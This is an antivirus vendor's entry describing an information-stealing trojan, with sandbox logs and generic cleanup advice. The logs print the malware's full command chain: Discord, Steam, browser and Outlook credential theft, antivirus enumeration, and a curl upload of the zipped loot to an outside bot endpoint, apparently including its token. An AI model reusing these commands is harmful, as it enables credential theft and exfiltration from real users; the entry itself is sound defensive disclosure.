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Trojan.Siggen32.64407
Added to the Dr.Web virus database:
2026-07-12
Virus description added:
2026-07-14
Technical Information
Malicious functions
Executes the following
'<SYSTEM32>\taskkill.exe' /F /IM chrome.exe
'<SYSTEM32>\taskkill.exe' /F /IM msedge.exe
'<SYSTEM32>\taskkill.exe' /F /IM brave.exe
Injects code into
the following system processes:
<SYSTEM32>\runtimebroker.exe
the following user processes:
Modifies file system
Creates the following files
%TEMP%\6a588908\debug.log
%TEMP%\6a588908\collect\ip_geo.txt
%TEMP%\6a588908\collect\info.txt
%TEMP%\6a588908\collect\screenshot.png
nul
%TEMP%\6a588908\discord.ps1
%TEMP%\6a588908\collect\tokens_debug.log
%TEMP%\6a588908\collect\discord_tokens.txt
%TEMP%\6a588908\collect\valid_tokens.txt
%TEMP%\6a588908\convert.ps1
%TEMP%\6a588908\convert_pass.ps1
%TEMP%\6a588908\outlook_cred.ps1
%TEMP%\6a588908\credentials_temp.txt
%TEMP%\6a588908\data\discord_tokens.txt
%TEMP%\6a588908\data\info.txt
%TEMP%\6a588908\data\screenshot.png
%TEMP%\6a588908\data\tokens_debug.log
%TEMP%\6a588908\data\valid_tokens.txt
%TEMP%\av_tmp.txt
%TEMP%\cnt_tmp.txt
%TEMP%\6a588908\getsize.ps1
%TEMP%\6a588908\size.txt
%TEMP%\6a588908\1kalmig2.zip
%TEMP%\6a588908\msg.txt
%TEMP%\6a588908\send_text.ps1
Deletes following files that it created itself
%TEMP%\6a588908\collect\ip_geo.txt
%TEMP%\6a588908\discord.ps1
%TEMP%\6a588908\convert.ps1
%TEMP%\6a588908\convert_pass.ps1
%TEMP%\6a588908\outlook_cred.ps1
%TEMP%\6a588908\credentials_temp.txt
%TEMP%\av_tmp.txt
%TEMP%\cnt_tmp.txt
%TEMP%\6a588908\getsize.ps1
%TEMP%\6a588908\size.txt
%TEMP%\6a588908\1kalmig2.zip
%TEMP%\6a588908\send_text.ps1
%TEMP%\6a588908\msg.txt
Substitutes the following files
Deletes itself.
Network activity
Connects to
'gi##ub.com':443
're#########ets.githubusercontent.com':443
'x1.#.lencr.org':80
'ip##pi.com':80
'he########d.wubejack.workers.dev':443
TCP
HTTP GET requests
http://x1.#.lencr.org/
http://ip##pi.com/json
Other
'gi##ub.com':443
're#########ets.githubusercontent.com':443
'he########d.wubejack.workers.dev':443
UDP
DNS ASK gi##ub.com
DNS ASK re#########ets.githubusercontent.com
DNS ASK x1.#.lencr.org
DNS ASK ip##pi.com
DNS ASK he########d.wubejack.workers.dev
Miscellaneous
Searches for the following windows
ClassName: '' WindowName: ''
Executes the following
'<SYSTEM32>\runtimebroker.exe' all -o %TEMP%\\6a588908\output
'%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe'
'<SYSTEM32>\cmd.exe' /c curl -s http://ip-api.com/json > "%TEMP%\\6a588908\collect\ip_geo.txt"
'<SYSTEM32>\curl.exe' -s http://ip-api.com/json
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen....
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen.Height; $graph...
'<SYSTEM32>\cmd.exe' /c robocopy "%ProgramFiles(x86)%\Steam\config" "%TEMP%\\6a588908\collect\Steam\config" /E /R:0 /W:0 >nul
'<SYSTEM32>\robocopy.exe' "%ProgramFiles(x86)%\Steam\config" "%TEMP%\\6a588908\collect\Steam\config" /E /R:0 /W:0
'<SYSTEM32>\cmd.exe' /c robocopy "%ProgramFiles(x86)%\Steam\userdata" "%TEMP%\\6a588908\collect\Steam\userdata" /E /R:0 /W:0 >nul
'<SYSTEM32>\robocopy.exe' "%ProgramFiles(x86)%\Steam\userdata" "%TEMP%\\6a588908\collect\Steam\userdata" /E /R:0 /W:0
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\discord.ps1"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\discord.ps1"
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\convert.ps1"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\convert.ps1"
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\convert_pass.ps1"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\convert_pass.ps1"
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\outlook_cred.ps1"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\outlook_cred.ps1"
'<SYSTEM32>\cmd.exe' /c robocopy "%TEMP%\\6a588908\output" "%TEMP%\\6a588908\data\Browsers" /E /R:0 /W:0 >nul
'<SYSTEM32>\robocopy.exe' "%TEMP%\\6a588908\output" "%TEMP%\\6a588908\data\Browsers" /E /R:0 /W:0
'<SYSTEM32>\cmd.exe' /c robocopy "%TEMP%\\6a588908\collect" "%TEMP%\\6a588908\data" /E /R:0 /W:0 >nul
'<SYSTEM32>\robocopy.exe' "%TEMP%\\6a588908\collect" "%TEMP%\\6a588908\data" /E /R:0 /W:0
'<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname > "%TEMP%\av_tmp.txt" 2>nul
'<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\securitycenter2 path antivirusproduct get displayname
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProduc...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProductKey"
'<SYSTEM32>\cmd.exe' /c dir /s /b "%TEMP%\\6a588908\data\Browsers" 2>nul | find /c /v "" > "%TEMP%\cnt_tmp.txt"
'<SYSTEM32>\cmd.exe' /S /D /c" dir /s /b "%TEMP%\\6a588908\data\Browsers" 2>nul"
'<SYSTEM32>\find.exe' /c /v ""
'<SYSTEM32>\cmd.exe' /c dir /s /b "%TEMP%\\6a588908\data\Steam" 2>nul | find /c /v "" > "%TEMP%\cnt_tmp.txt"
'<SYSTEM32>\cmd.exe' /S /D /c" dir /s /b "%TEMP%\\6a588908\data\Steam" 2>nul"
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\getsize.ps1" > "%TEMP%\\6a588908\size.txt"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\getsize.ps1"
'<SYSTEM32>\cmd.exe' /c powershell -Command "Compress-Archive -Path '%TEMP%\\6a588908\data\*' -DestinationPath '%TEMP%\\6a588908\1KaLmIg2.zip' -Force"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Compress-Archive -Path '%TEMP%\\6a588908\data\*' -DestinationPath '%TEMP%\\6a588908\1KaLmIg2.zip' -Force"
'<SYSTEM32>\cmd.exe' /c curl -F chat_id=7593646943 -F document=@"%TEMP%\\6a588908\1KaLmIg2.zip" "https://hello-world.wubejack.workers.dev/bot8927863657:AAGEhTuGL1Py-YTZEaGdxAcn_cSswbBOpN0/sendDocument" --insecure -...
'<SYSTEM32>\curl.exe' -F chat_id=7593646943 -F document=@"%TEMP%\\6a588908\1KaLmIg2.zip" "https://hello-world.wubejack.workers.dev/bot8927863657:AAGEhTuGL1Py-YTZEaGdxAcn_cSswbBOpN0/sendDocument" --insecure --max-tim...
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\send_text.ps1"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\send_text.ps1"
'<SYSTEM32>\cmd.exe' /c cmd /c del /f /q "<Full path to file>"
'<SYSTEM32>\cmd.exe' /c del /f /q "<Full path to file>"
'<SYSTEM32>\cmd.exe' /c curl -s http://ip-api.com/json > "%TEMP%\\6a588908\collect\ip_geo.txt"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen....' (with hidden window)
'<SYSTEM32>\cmd.exe' /c robocopy "%ProgramFiles(x86)%\Steam\config" "%TEMP%\\6a588908\collect\Steam\config" /E /R:0 /W:0 >nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c robocopy "%ProgramFiles(x86)%\Steam\userdata" "%TEMP%\\6a588908\collect\Steam\userdata" /E /R:0 /W:0 >nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\discord.ps1"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\convert.ps1"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\convert_pass.ps1"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\outlook_cred.ps1"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c robocopy "%TEMP%\\6a588908\output" "%TEMP%\\6a588908\data\Browsers" /E /R:0 /W:0 >nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c robocopy "%TEMP%\\6a588908\collect" "%TEMP%\\6a588908\data" /E /R:0 /W:0 >nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname > "%TEMP%\av_tmp.txt" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProduc...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c dir /s /b "%TEMP%\\6a588908\data\Browsers" 2>nul | find /c /v "" > "%TEMP%\cnt_tmp.txt"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c dir /s /b "%TEMP%\\6a588908\data\Steam" 2>nul | find /c /v "" > "%TEMP%\cnt_tmp.txt"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\getsize.ps1" > "%TEMP%\\6a588908\size.txt"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -Command "Compress-Archive -Path '%TEMP%\\6a588908\data\*' -DestinationPath '%TEMP%\\6a588908\1KaLmIg2.zip' -Force"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c curl -F chat_id=7593646943 -F document=@"%TEMP%\\6a588908\1KaLmIg2.zip" "https://hello-world.wubejack.workers.dev/bot8927863657:AAGEhTuGL1Py-YTZEaGdxAcn_cSswbBOpN0/sendDocument" --insecure -...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "%TEMP%\\6a588908\send_text.ps1"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c cmd /c del /f /q "<Full path to file>"' (with hidden window)
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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